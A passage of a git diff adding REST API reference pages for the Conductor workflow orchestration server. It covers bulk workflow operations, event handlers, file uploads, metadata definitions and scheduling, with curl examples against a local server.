+|---|---|---| +| `useLatestDefinitions` | Use latest workflow and task definitions | `false` | + +```shell +curl -X POST 'http://localhost:8080/api/workflow/bulk/restart?useLatestDefinitions=true' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2"]' +``` + +**Response** `200 OK` — returns a `BulkResponse`. + +### Bulk Retry + +``` +POST /api/workflow/bulk/retry +``` + +Retries the last failed task for each workflow. + +```shell +curl -X POST 'http://localhost:8080/api/workflow/bulk/retry' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2"]' +``` + +**Response** `200 OK` — returns a `BulkResponse`. + +### Bulk Terminate + +``` +POST /api/workflow/bulk/terminate?reason= +``` + +| Parameter | Description | Required | +|---|---|---| +| `reason` | Reason for termination | No | + +```shell +curl -X POST 'http://localhost:8080/api/workflow/bulk/terminate?reason=batch+cleanup' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2", "workflow-id-3"]' +``` + +**Response** `200 OK` — returns a `BulkResponse`. + +### Bulk Remove + +``` +DELETE /api/workflow/bulk/remove?archiveWorkflow=true +``` + +| Parameter | Description | Default | +|---|---|---| +| `archiveWorkflow` | Archive before removing | `true` | + +```shell +curl -X DELETE 'http://localhost:8080/api/workflow/bulk/remove' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2"]' +``` + +!!! warning + This permanently removes workflow execution data. + +**Response** `200 OK` — returns a `BulkResponse`. + +### Bulk Terminate and Remove + +``` +DELETE /api/workflow/bulk/terminate-remove?reason=&archiveWorkflow=true +``` + +Terminates running workflows and removes them in one call. + +| Parameter | Description | Default | +|---|---|---| +| `reason` | Reason for termination | — | +| `archiveWorkflow` | Archive before removing | `true` | + +```shell +curl -X DELETE 'http://localhost:8080/api/workflow/bulk/terminate-remove?reason=decommissioned' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2"]' +``` + +**Response** `200 OK` — returns a `BulkResponse`. + +### Bulk Search + +``` +POST /api/workflow/bulk/search?includeTasks=true +``` + +Fetches multiple workflows by their IDs in a single call. Unlike the other bulk endpoints, this returns workflow objects rather than a `BulkResponse`. + +| Parameter | Description | Default | +|---|---|---| +| `includeTasks` | Include task details | `true` | + +```shell +curl -X POST 'http://localhost:8080/api/workflow/bulk/search?includeTasks=false' \ + -H 'Content-Type: application/json' \ + -d '["workflow-id-1", "workflow-id-2"]' +``` + +**Response** `200 OK` — returns a `BulkResponse` where `bulkSuccessfulResults` contains the full workflow objects. diff --git a/docs/documentation/api/eventhandlers.md b/docs/documentation/api/eventhandlers.md new file mode 100644 index 0000000..cb5ab93 --- /dev/null +++ b/docs/documentation/api/eventhandlers.md @@ -0,0 +1,212 @@ +--- +description: "Conductor Event Handlers API — create, update, delete, and list event handlers for event-driven workflow orchestration." +--- + +# Event Handlers API + +The Event Handlers API manages event handler definitions — rules that start workflows or complete tasks in response to events from message brokers (Kafka, NATS, SQS, AMQP). All endpoints use the base path `/api/event`. + +For details on configuring event handlers, see [Event Handler Configuration](../configuration/eventhandlers.md). For configuring message broker connections, see the [Event Bus Orchestration](../../devguide/how-tos/event-bus.md) guide. + +## Endpoints + +| Endpoint | Method | Description | +|---|---|---| +| `/event` | `POST` | Create a new event handler | +| `/event` | `PUT` | Update an existing event handler | +| `/event` | `GET` | Get all event handlers | +| `/event/{name}` | `DELETE` | Delete an event handler | +| `/event/{event}` | `GET` | Get event handlers for a specific event | + +### Create an Event Handler + +``` +POST /api/event +``` + +```shell +curl -X POST 'http://localhost:8080/api/event' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "order_event_handler", + "event": "kafka:orders_topic:new_order", + "active": true, + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "order_processing", + "version": 1, + "input": { + "orderId": "${eventPayload.orderId}", + "customerId": "${eventPayload.customerId}", + "payload": "${eventPayload}" + } + } + } + ] + }' +``` + +**Response** `200 OK` — no response body. + +#### Event Handler Fields + +| Field | Description | Required | +|---|---|---| +| `name` | Unique name for the event handler | Yes | +| `event` | Event identifier in format `type:queue:subject` (e.g., `kafka:my_topic:my_event`) | Yes | +| `active` | Whether the handler is active | Yes | +| `actions` | List of actions to execute when the event is received | Yes | +| `condition` | Optional JavaScript expression to filter events | No | +| `evaluatorType` | Expression evaluator type (`javascript` or `graaljs`) | No | + +#### Action Types + +| Action | Description | +|---|---| +| `start_workflow` | Start a new workflow execution | +| `complete_task` | Complete a pending task (e.g., a WAIT task) | +| `fail_task` | Fail a pending task | + +#### Complete Task Action Example + +```json +{ + "name": "approval_handler", + "event": "kafka:approvals_topic:approved", + "active": true, + "actions": [ + { + "action": "complete_task", + "complete_task": { + "workflowId": "${eventPayload.workflowId}", + "taskRefName": "wait_for_approval", + "output": { + "approved": true, + "approvedBy": "${eventPayload.approver}" + } + } + } + ] +} +``` + +### Update an Event Handler + +``` +PUT /api/event +``` + +Updates an existing event handler. The request body is the full event handler definition (same format as create). + +```shell +curl -X PUT 'http://localhost:8080/api/event' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "order_event_handler", + "event": "kafka:orders_topic:new_order", + "active": false, + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "order_processing", + "version": 2, + "input": { + "payload": "${eventPayload}" + } + } + } + ] + }' +``` + +**Response** `200 OK` — no response body. + +### Get All Event Handlers + +``` +GET /api/event +``` + +Returns a list of all registered event handlers. + +```shell +curl 'http://localhost:8080/api/event' +``` + +**Response** `200 OK` + +```json +[ + { + "name": "order_event_handler", + "event": "kafka:orders_topic:new_order", + "active": true, + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "order_processing", + "version": 1, + "input": { + "payload": "${eventPayload}" + } + } + } + ] + } +] +``` + +### Delete an Event Handler + +``` +DELETE /api/event/{name} +``` + +Removes an event handler by name. + +```shell +curl -X DELETE 'http://localhost:8080/api/event/order_event_handler' +``` + +**Response** `200 OK` — no response body. + +### Get Event Handlers for an Event + +``` +GET /api/event/{event}?activeOnly=true +``` + +Returns event handlers configured for a specific event. + +| Parameter | Description | Default | +|---|---|---| +| `event` | Event identifier (e.g., `kafka:orders_topic:new_order`) | — | +| `activeOnly` | Only return active handlers | `true` | + +```shell +curl 'http://localhost:8080/api/event/kafka:orders_topic:new_order?activeOnly=true' +``` + +**Response** `200 OK` — returns a list of matching event handler definitions. + +--- + +## Event Identifier Format + +Event identifiers follow the pattern: + +``` +{type}:{queue/topic}:{subject} +``` + +| Type | Example | Description | +|---|---|---| +| `kafka` | `kafka:my_topic:my_event` | Apache Kafka topic | +| `nats` | `nats:my_subject:my_event` | NATS subject | +| `sqs` | `sqs:my_queue:my_event` | Amazon SQS queue | +| `amqp_exchange` | `amqp_exchange:my_exchange:my_event` | RabbitMQ exchange | +| `conductor` | `conductor:my_event:my_event` | Conductor internal event queue | diff --git a/docs/documentation/api/files.md b/docs/documentation/api/files.md new file mode 100644 index 0000000..6a51183 --- /dev/null +++ b/docs/documentation/api/files.md @@ -0,0 +1,256 @@ +--- +description: "Conductor File API — create, upload, download, and inspect file payloads. Includes single-shot and multipart presigned URL flows." +--- + +# File API + +The File API manages binary file payloads associated with workflow executions. All endpoints use the base path `/api/files` and are gated by `conductor.file-storage.enabled=true` — when the feature is disabled, every endpoint returns `404`. See [File Storage](../advanced/file-storage.md) for backend setup. + +Path variables carry the bare `fileId` (a UUID assigned at creation). Request and response bodies carry the prefixed handle as `fileHandleId` (`conductor://file/`); pass either form back in to subsequent calls — the server normalizes them. + +Download access is *workflow-family scoped*: callers must supply a `workflowId` that belongs to the same workflow family (self, ancestors, or descendants) as the file's owning workflow. Cross-family access returns `403 Forbidden`. + +## Create a File + +``` +POST /api/files +``` + +Reserves a `fileId`, persists the metadata record, and returns a presigned upload URL. The file is created in `UPLOADING` status; the client must confirm completion via [Confirm Upload](#confirm-upload) once the bytes are uploaded. + +**Request body:** + +| Field | Description | Required | +|---|---|---| +| `workflowId` | Workflow execution that owns this file. Used for download-access scoping. | Yes | +| `fileName` | Original file name. | No | +| `contentType` | MIME type. | No | +| `taskId` | Task that produced the file, if applicable. | No | + +```shell +curl -X POST 'http://localhost:8080/api/files' \ + -H 'Content-Type: application/json' \ + -d '{ + "workflowId": "3a5b8c2d-1234-5678-9abc-def012345678", + "fileName": "input.mp4", + "contentType": "video/mp4" + }' +``` + +**Response** `201 Created` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "fileName": "input.mp4", + "contentType": "video/mp4", + "storageType": "S3", + "uploadStatus": "UPLOADING", + "uploadUrl": "https://bucket.s3.amazonaws.com/conductor/3a5b8c2d.../a1b2c3d4...?X-Amz-Signature=...", + "uploadUrlExpiresAt": 1700000060000, + "createdAt": 1700000000000 +} +``` + +The client `PUT`s file bytes directly to `uploadUrl`, then calls [Confirm Upload](#confirm-upload). + +--- + +## Get a Fresh Upload URL + +``` +GET /api/files/{fileId}/upload-url +``` + +Issues a new presigned upload URL — used to retry an upload after the original URL expired. + +```shell +curl 'http://localhost:8080/api/files/a1b2c3d4-5678-90ab-cdef-111111111111/upload-url' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "uploadUrl": "https://bucket.s3.amazonaws.com/conductor/3a5b8c2d.../a1b2c3d4...?X-Amz-Signature=...", + "expiresAt": 1700000060000 +} +``` + +--- + +## Confirm Upload + +``` +POST /api/files/{fileId}/upload-complete +``` + +Marks the upload as complete. The server probes the storage backend to verify the object exists, then transitions the record to `UPLOADED` and records the backend-reported content hash and size. + +```shell +curl -X POST 'http://localhost:8080/api/files/a1b2c3d4-5678-90ab-cdef-111111111111/upload-complete' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "uploadStatus": "UPLOADED", + "contentHash": "d41d8cd98f00b204e9800998ecf8427e" +} +``` + +`409 Conflict` if the file is already in `UPLOADED` status; `500 Internal Server Error` if the backend reports the object is missing. + +--- + +## Get a Download URL + +``` +GET /api/files/{workflowId}/{fileId}/download-url +``` + +Issues a presigned download URL. The caller's `workflowId` must be in the same workflow family as the file's owning workflow. + +| Parameter | Description | +|---|---| +| `workflowId` | The caller's workflow ID, used for family-scope check. | +| `fileId` | The file to download. | + +```shell +curl 'http://localhost:8080/api/files/3a5b8c2d-1234-5678-9abc-def012345678/a1b2c3d4-5678-90ab-cdef-111111111111/download-url' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "downloadUrl": "https://bucket.s3.amazonaws.com/conductor/3a5b8c2d.../a1b2c3d4...?X-Amz-Signature=...", + "expiresAt": 1700000060000 +} +``` + +`403 Forbidden` if the caller's workflow is not in the file's family. `400 Bad Request` if the file is not yet `UPLOADED`. + +--- + +## Get File Metadata + +``` +GET /api/files/{fileId} +``` + +Returns the file metadata record. Does not expose the server-internal storage path. + +```shell +curl 'http://localhost:8080/api/files/a1b2c3d4-5678-90ab-cdef-111111111111' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "fileName": "input.mp4", + "contentType": "video/mp4", + "contentHash": "d41d8cd98f00b204e9800998ecf8427e", + "storageType": "S3", + "uploadStatus": "UPLOADED", + "workflowId": "3a5b8c2d-1234-5678-9abc-def012345678", + "taskId": "task-uuid-1", + "createdAt": 1700000000000, + "updatedAt": 1700000005000 +} +``` + +--- + +## Multipart Upload + +Multipart is opt-in (typically for files above ~100 MB) and supported on `s3`, `azure-blob`, and `gcs` backends. The `local` backend does not support multipart. + +### Initiate Multipart + +``` +POST /api/files/{fileId}/multipart +``` + +Begins a multipart upload session. Returns a backend-specific `uploadId`. For GCS/Azure, `uploadUrl` is the resumable session URL clients upload parts to directly; for S3 it is `null` and clients fetch a per-part URL via [Get Part Upload URL](#get-part-upload-url). + +```shell +curl -X POST 'http://localhost:8080/api/files/a1b2c3d4-5678-90ab-cdef-111111111111/multipart' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "uploadId": "S3-multipart-upload-id-string", + "uploadUrl": null +} +``` + +### Get Part Upload URL + +``` +GET /api/files/{fileId}/multipart/{uploadId}/part/{partNumber} +``` + +S3 only. Returns a presigned URL for uploading a single part. Part numbers start at `1`. + +```shell +curl 'http://localhost:8080/api/files/a1b2c3d4-5678-90ab-cdef-111111111111/multipart/S3-multipart-upload-id-string/part/1' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "uploadUrl": "https://bucket.s3.amazonaws.com/conductor/.../?partNumber=1&uploadId=...&X-Amz-Signature=...", + "expiresAt": 1700000060000 +} +``` + +### Complete Multipart + +``` +POST /api/files/{fileId}/multipart/{uploadId}/complete +``` + +Finalizes the multipart upload and transitions the file to `UPLOADED`. The request body carries the ordered list of part ETags (or backend equivalents) from the part uploads. + +```shell +curl -X POST 'http://localhost:8080/api/files/a1b2c3d4-5678-90ab-cdef-111111111111/multipart/S3-multipart-upload-id-string/complete' \ + -H 'Content-Type: application/json' \ + -d '{ + "partETags": ["\"etag-of-part-1\"", "\"etag-of-part-2\"", "\"etag-of-part-3\""] + }' +``` + +**Response** `200 OK` + +```json +{ + "fileHandleId": "conductor://file/a1b2c3d4-5678-90ab-cdef-111111111111", + "uploadStatus": "UPLOADED", + "contentHash": "d41d8cd98f00b204e9800998ecf8427e" +} +``` + +--- + +## Errors + +| Status | Cause | +|---|---| +| `400 Bad Request` | Missing `workflowId` on create; download requested before file is `UPLOADED`. | +| `403 Forbidden` | Caller's `workflowId` is not in the file's workflow family. | +| `404 Not Found` | Unknown `fileId`, or `conductor.file-storage.enabled=false`. | +| `409 Conflict` | Confirm-upload called on a file already in `UPLOADED` status. | +| `413 Payload Too Large` | `FileStorageException` raised by a backend (e.g., upstream size enforcement). | +| `500 Internal Server Error` | Backend reports object missing on confirm/complete; other transient/non-transient backend errors. | diff --git a/docs/documentation/api/index.md b/docs/documentation/api/index.md new file mode 100644 index 0000000..11d4043 --- /dev/null +++ b/docs/documentation/api/index.md @@ -0,0 +1,116 @@ +--- +description: "Conductor REST API reference — complete endpoint documentation for workflow orchestration including metadata, execution management, task polling, bulk operations, and event handlers." +--- + +# API Reference + +Conductor exposes a full REST API for managing workflow definitions, executions, tasks, and events. + +## Base URL + +All API endpoints are relative to your Conductor server's base URL: + +``` +http://localhost:8080/api/ +``` + +For example, to list all workflow definitions: + +```shell +curl http://localhost:8080/api/metadata/workflow +``` + +If your Conductor server runs on a different host or port, replace `localhost:8080` accordingly. + +## Authentication + +Conductor OSS does not require authentication by default. All API endpoints are open. If you need to secure your Conductor instance, you can add authentication via a reverse proxy (e.g., Nginx, Envoy) or by implementing a custom security filter in Spring Boot. + +## Content Type + +All request and response bodies use JSON. Set the following headers on requests with a body: + +``` +Content-Type: application/json +``` + +A few endpoints return plain text (e.g., workflow ID on start). These are noted in their documentation. + +## Common Response Codes + +| Status Code | Description | +|---|---| +| `200 OK` | Request succeeded. Response body contains the result. | +| `204 No Content` | Request succeeded but there is no response body (e.g., poll with no tasks available). | +| `400 Bad Request` | Invalid request — check your request body or parameters. | +| `404 Not Found` | The requested resource (workflow, task, definition) does not exist. | +| `409 Conflict` | Conflict with current state (e.g., trying to resume a workflow that is not paused). | +| `500 Internal Server Error` | Server-side error. Check Conductor server logs. | + +### Error Response Format + +When an error occurs, the response body contains: + +```json +{ + "status": 400, + "message": "Workflow definition is not valid", + "instance": "conductor-server", + "retryable": false +} +``` + +## Quick Start + +Register a workflow definition, start it, and check its status — all in three commands: + +```shell +# 1. Register a workflow definition +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "hello_workflow", + "version": 1, + "tasks": [ + { + "name": "hello_task", + "taskReferenceName": "hello_ref", + "type": "HTTP", + "inputParameters": { + "uri": "https://jsonplaceholder.typicode.com/posts/1", + "method": "GET" + } + } + ], + "schemaVersion": 2 + }' + +# 2. Start a workflow execution +WORKFLOW_ID=$(curl -s -X POST 'http://localhost:8080/api/workflow/hello_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}') +echo "Started workflow: $WORKFLOW_ID" + +# 3. Check workflow status +curl "http://localhost:8080/api/workflow/$WORKFLOW_ID" +``` + +## API Sections + +| Section | Base Path | Description | +|---|---|---| +| **[Metadata](metadata.md)** | `/api/metadata` | Register, update, validate, and delete workflow and task definitions | +| **[Start Workflow](startworkflow.md)** | `/api/workflow` | Start workflows asynchronously, synchronously, or with dynamic definitions | +| **[Workflow](workflow.md)** | `/api/workflow` | Manage executions: get status, pause, resume, retry, restart, terminate, search | +| **[Task](task.md)** | `/api/tasks` | Poll for tasks, update results, manage queues, view logs, search | +| **[Bulk Operations](bulk.md)** | `/api/workflow/bulk` | Pause, resume, restart, retry, terminate, or remove workflows in batch | +| **[Event Handlers](eventhandlers.md)** | `/api/event` | Create and manage event-driven workflow triggers | +| **[Task Domains](taskdomains.md)** | — | Route tasks to specific worker pools at runtime | + +## Swagger UI + +The Swagger UI at `http://localhost:8080/swagger-ui/index.html` provides an interactive API explorer where you can try endpoints directly from your browser. + +## SDKs + +For programmatic access, use one of the official [Conductor SDKs](../clientsdks/index.md) which wrap these REST APIs with language-native interfaces for Java, Python, Go, JavaScript, C#, Ruby, and Rust. diff --git a/docs/documentation/api/metadata.md b/docs/documentation/api/metadata.md new file mode 100644 index 0000000..7c89edf --- /dev/null +++ b/docs/documentation/api/metadata.md @@ -0,0 +1,317 @@ +--- +description: "Conductor Metadata API — register, update, validate, and delete workflow and task definitions. Manage your orchestration blueprints via REST." +--- + +# Metadata API + +The Metadata API manages workflow and task definitions — the blueprints that Conductor uses to orchestrate executions. All endpoints use the base path `/api/metadata`. + +## Workflow Definitions + +| Endpoint | Method | Description | +|---|---|---| +| `/metadata/workflow` | `GET` | Get all workflow definitions | +| `/metadata/workflow` | `POST` | Create a new workflow definition | +| `/metadata/workflow` | `PUT` | Create or update workflow definitions (batch) | +| `/metadata/workflow/{name}` | `GET` | Get a workflow definition by name | +| `/metadata/workflow/{name}/{version}` | `DELETE` | Delete a workflow definition by name and version | +| `/metadata/workflow/validate` | `POST` | Validate a workflow definition without saving | +| `/metadata/workflow/names-and-versions` | `GET` | Get all workflow names and versions (no definition bodies) | +| `/metadata/workflow/latest-versions` | `GET` | Get only the latest version of each workflow definition | + +### Get All Workflow Definitions + +``` +GET /api/metadata/workflow +``` + +Returns a list of all registered workflow definitions. + +```shell +curl http://localhost:8080/api/metadata/workflow +``` + +**Response** `200 OK` + +```json +[ + { + "name": "order_processing", + "version": 1, + "tasks": [...], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2 + } +] +``` + +### Create a Workflow Definition + +``` +POST /api/metadata/workflow +``` + +Registers a new workflow definition. Request body is a [Workflow Definition](../configuration/workflowdef/index.md). + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "my_workflow", + "version": 1, + "tasks": [ + { + "name": "my_task", + "taskReferenceName": "my_task_ref", + "type": "SIMPLE" + } + ], + "schemaVersion": 2, + "ownerEmail": "dev@example.com" + }' +``` + +**Response** `200 OK` — no response body. + +### Create or Update Workflow Definitions + +``` +PUT /api/metadata/workflow +``` + +Creates or updates workflow definitions in bulk. Request body is a list of [Workflow Definitions](../configuration/workflowdef/index.md). Returns a `BulkResponse` indicating success and failure for each definition. + +```shell +curl -X PUT 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d '[ + {"name": "workflow_a", "version": 1, "tasks": [...], "schemaVersion": 2}, + {"name": "workflow_b", "version": 1, "tasks": [...], "schemaVersion": 2} + ]' +``` + +**Response** `200 OK` + +```json +{ + "bulkSuccessfulResults": ["workflow_a", "workflow_b"], + "bulkErrorResults": {} +} +``` + +### Get Workflow Definition by Name + +``` +GET /api/metadata/workflow/{name}?version={version} +``` + +| Parameter | Description | Required | +|---|---|---| +| `name` | Workflow name | Yes (path) | +| `version` | Workflow version | No (defaults to latest) | + +```shell +curl 'http://localhost:8080/api/metadata/workflow/my_workflow?version=1' +``` + +**Response** `200 OK` — returns the full workflow definition JSON. + +### Delete a Workflow Definition + +``` +DELETE /api/metadata/workflow/{name}/{version} +``` + +Removes a workflow definition by name and version. Does **not** remove workflow executions associated with the definition. + +| Parameter | Description | Required | +|---|---|---| +| `name` | Workflow name | Yes (path) | +| `version` | Workflow version | Yes (path) | + +```shell +curl -X DELETE 'http://localhost:8080/api/metadata/workflow/my_workflow/1' +``` + +**Response** `200 OK` — no response body. + +### Validate a Workflow Definition + +``` +POST /api/metadata/workflow/validate +``` + +Validates a workflow definition without registering it. Useful for CI/CD pipelines or pre-deployment checks. + +```shell +curl -X POST 'http://localhost:8080/api/metadata/workflow/validate' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "my_workflow", + "version": 1, + "tasks": [ + { + "name": "my_task", + "taskReferenceName": "my_task_ref", + "type": "SIMPLE" + } + ], + "schemaVersion": 2 + }' +``` + +**Response** `200 OK` if valid. `400 Bad Request` with error details if invalid. + +### Get Workflow Names and Versions + +``` +GET /api/metadata/workflow/names-and-versions +``` + +Returns a lightweight map of workflow names to their available versions (no definition bodies). Useful for building UIs or listing available workflows. + +```shell +curl http://localhost:8080/api/metadata/workflow/names-and-versions +``` + +**Response** `200 OK` + +```json +{ + "order_processing": [ + {"name": "order_processing", "version": 1}, + {"name": "order_processing", "version": 2} + ], + "user_onboarding": [ + {"name": "user_onboarding", "version": 1} + ] +} +``` + +### Get Latest Versions Only + +``` +GET /api/metadata/workflow/latest-versions +``` + +Returns only the latest version of each workflow definition. + +```shell +curl http://localhost:8080/api/metadata/workflow/latest-versions +``` + +**Response** `200 OK` — returns a list of workflow definitions (one per workflow name, latest version only). + +--- + +## Task Definitions + +| Endpoint | Method | Description | +|---|---|---| +| `/metadata/taskdefs` | `GET` | Get all task definitions | +| `/metadata/taskdefs` | `POST` | Create new task definitions | +| `/metadata/taskdefs` | `PUT` | Update a task definition | +| `/metadata/taskdefs/{taskType}` | `GET` | Get a task definition by name | +| `/metadata/taskdefs/{taskType}` | `DELETE` | Delete a task definition | + +### Get All Task Definitions + +``` +GET /api/metadata/taskdefs +``` + +```shell +curl http://localhost:8080/api/metadata/taskdefs +``` + +**Response** `200 OK` + +```json +[ + { + "name": "my_task", + "retryCount": 3, + "retryLogic": "FIXED", + "retryDelaySeconds": 10, + "timeoutSeconds": 300, + "timeoutPolicy": "TIME_OUT_WF", + "responseTimeoutSeconds": 180 + } +] +``` + +### Create Task Definitions + +``` +POST /api/metadata/taskdefs +``` + +Registers new task definitions. Request body is a list of [Task Definitions](../configuration/taskdef.md). + +```shell +curl -X POST 'http://localhost:8080/api/metadata/taskdefs' \ + -H 'Content-Type: application/json' \ + -d '[ + { + "name": "my_task", + "retryCount": 3, + "retryLogic": "FIXED", + "retryDelaySeconds": 10, + "timeoutSeconds": 300, + "timeoutPolicy": "TIME_OUT_WF", + "responseTimeoutSeconds": 180, + "ownerEmail": "dev@example.com" + } + ]' +``` + +**Response** `200 OK` — no response body. + +### Update a Task Definition + +``` +PUT /api/metadata/taskdefs +``` + +Updates an existing task definition. Request body is a single [Task Definition](../configuration/taskdef.md). + +```shell +curl -X PUT 'http://localhost:8080/api/metadata/taskdefs' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "my_task", + "retryCount": 5, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 5, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "responseTimeoutSeconds": 300 + }' +``` + +**Response** `200 OK` — no response body. + +### Get Task Definition by Name + +``` +GET /api/metadata/taskdefs/{taskType} +``` + +```shell +curl http://localhost:8080/api/metadata/taskdefs/my_task +``` + +**Response** `200 OK` — returns the task definition JSON. + +### Delete a Task Definition + +``` +DELETE /api/metadata/taskdefs/{taskType} +``` + +```shell +curl -X DELETE http://localhost:8080/api/metadata/taskdefs/my_task +``` + +**Response** `200 OK` — no response body. diff --git a/docs/documentation/api/scheduler.md b/docs/documentation/api/scheduler.md new file mode 100644 index 0000000..074fdc6 --- /dev/null +++ b/docs/documentation/api/scheduler.md @@ -0,0 +1,261 @@ +--- +description: "REST API reference for Conductor's workflow scheduler — create, list, search, pause, resume, delete schedules, preview cron execution times, and search execution history." +--- + +# Scheduler API + +All scheduler endpoints are relative to `/api/scheduler`. + +## Create or update a schedule + +``` +POST /api/scheduler/schedules +``` + +Creates a new schedule or updates an existing one (matched by `name`). + +**Request body:** + +```json +{ + "name": "daily-report-schedule", + "cronExpression": "0 0 9 * * MON-FRI", + "zoneId": "America/New_York", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "input": {}, + "correlationId": "daily-report-${scheduledTime}" + }, + "runCatchupScheduleInstances": false, + "paused": false, + "scheduleStartTime": 0, + "scheduleEndTime": 0, + "description": "Triggers the daily report workflow on weekday mornings" +} +``` + +**Schedule fields:** + +| Field | Type | Required | Default | Description | +|---|---|---|---|---| +| `name` | string | Yes | — | Unique schedule identifier | +| `cronExpression` | string | Yes | — | 6-field Spring cron expression (second precision) | +| `zoneId` | string | No | `UTC` | IANA timezone for cron evaluation | +| `startWorkflowRequest` | object | Yes | — | Workflow trigger configuration (see below) | +| `runCatchupScheduleInstances` | boolean | No | `false` | Fire missed slots on scheduler restart | +| `paused` | boolean | No | `false` | Create in paused state | +| `scheduleStartTime` | long | No | — | Earliest fire time (epoch ms) | +| `scheduleEndTime` | long | No | — | Latest fire time (epoch ms) | +| `description` | string | No | — | Free-text description | + +**startWorkflowRequest fields:** + +| Field | Type | Required | Description | +|---|---|---|---| +| `name` | string | Yes | Workflow name | +| `version` | integer | No | Workflow version (latest if omitted) | +| `input` | object | No | Static input merged with auto-injected `_scheduledTime` and `_executedTime` | +| `correlationId` | string | No | Supports `${scheduledTime}` template variable | +| `taskToDomain` | object | No | Task-to-domain mapping | +| `priority` | integer | No | Execution priority (0-99) | + +**Response:** `200 OK` — returns the saved `WorkflowSchedule` object. + +??? note "Example using cURL" + ```shell + curl -X POST 'http://localhost:8080/api/scheduler/schedules' \ + -H 'Content-Type: application/json' \ + -d '{ + "name": "daily-report-schedule", + "cronExpression": "0 0 9 * * MON-FRI", + "zoneId": "America/New_York", + "startWorkflowRequest": { + "name": "daily_report_workflow", + "version": 1, + "correlationId": "daily-report-${scheduledTime}" + } + }' + ``` + +--- + +## List all schedules + +``` +GET /api/scheduler/schedules +``` + +**Query parameters:** + +| Parameter | Type | Required | Description | +|---|---|---|---| +| `workflowName` | string | No | Filter by workflow name | + +**Response:** `200 OK` — array of `WorkflowSchedule` objects. + +??? note "Example using cURL" + ```shell + # List all + curl 'http://localhost:8080/api/scheduler/schedules' + + # Filter by workflow + curl 'http://localhost:8080/api/scheduler/schedules?workflowName=daily_report_workflow' + ``` + +--- + +## Search schedules + +``` +GET /api/scheduler/schedules/search +``` + +**Query parameters:** + +| Parameter | Type | Required | Default | Description | +|---|---|---|---|---| +| `workflowName` | string | No | — | Filter by workflow name | +| `scheduleName` | string | No | — | Filter by schedule name | +| `paused` | boolean | No | — | Filter by paused state | +| `freeText` | string | No | `*` | Free-text search | +| `start` | integer | No | `0` | Pagination offset | +| `size` | integer | No | `100` | Page size | +| `sort` | string | No | — | Sort fields | + +**Response:** `200 OK` — `SearchResult` with `totalHits` and `results` array. + +??? note "Example using cURL" + ```shell + curl 'http://localhost:8080/api/scheduler/schedules/search?workflowName=daily_report_workflow&size=10' + ``` + +--- + +## Get a schedule by name + +``` +GET /api/scheduler/schedules/{name} +``` + +**Response:** `200 OK` — `WorkflowSchedule` object. + +??? note "Example using cURL" + ```shell + curl 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule' + ``` + +--- + +## Delete a schedule + +``` +DELETE /api/scheduler/schedules/{name} +``` + +**Response:** `204 No Content` + +??? note "Example using cURL" + ```shell + curl -X DELETE 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule' + ``` + +--- + +## Pause a schedule + +``` +PUT /api/scheduler/schedules/{name}/pause +``` + +**Query parameters:** + +| Parameter | Type | Required | Description | +|---|---|---|---| +| `reason` | string | No | Reason for pausing | + +**Response:** `200 OK` + +??? note "Example using cURL" + ```shell + curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/pause?reason=maintenance+window' + ``` + +--- + +## Resume a schedule + +``` +PUT /api/scheduler/schedules/{name}/resume +``` + +**Response:** `200 OK` + +??? note "Example using cURL" + ```shell + curl -X PUT 'http://localhost:8080/api/scheduler/schedules/daily-report-schedule/resume' + ``` + +--- + +## Preview next execution times + +``` +GET /api/scheduler/nextFewSchedules +``` + +Preview when a cron expression will fire next, without creating a schedule. + +**Query parameters:** + +| Parameter | Type | Required | Default | Description | +|---|---|---|---|---| +| `cronExpression` | string | Yes | — | Cron expression to evaluate | +| `scheduleStartTime` | long | No | — | Window start (epoch ms) | +| `scheduleEndTime` | long | No | — | Window end (epoch ms) | +| `limit` | integer | No | `5` | Number of times to return | + +**Response:** `200 OK` — array of epoch-millisecond timestamps. + +??? note "Example using cURL" + ```shell + curl 'http://localhost:8080/api/scheduler/nextFewSchedules?cronExpression=0+0+9+*+*+MON-FRI&limit=5' + ``` + +--- + +## Search execution history + +``` +GET /api/scheduler/search/executions +``` + +Search past scheduled workflow executions. + +**Query parameters:** + +| Parameter | Type | Required | Default | Description | +|---|---|---|---|---| +| `query` | string | No | — | 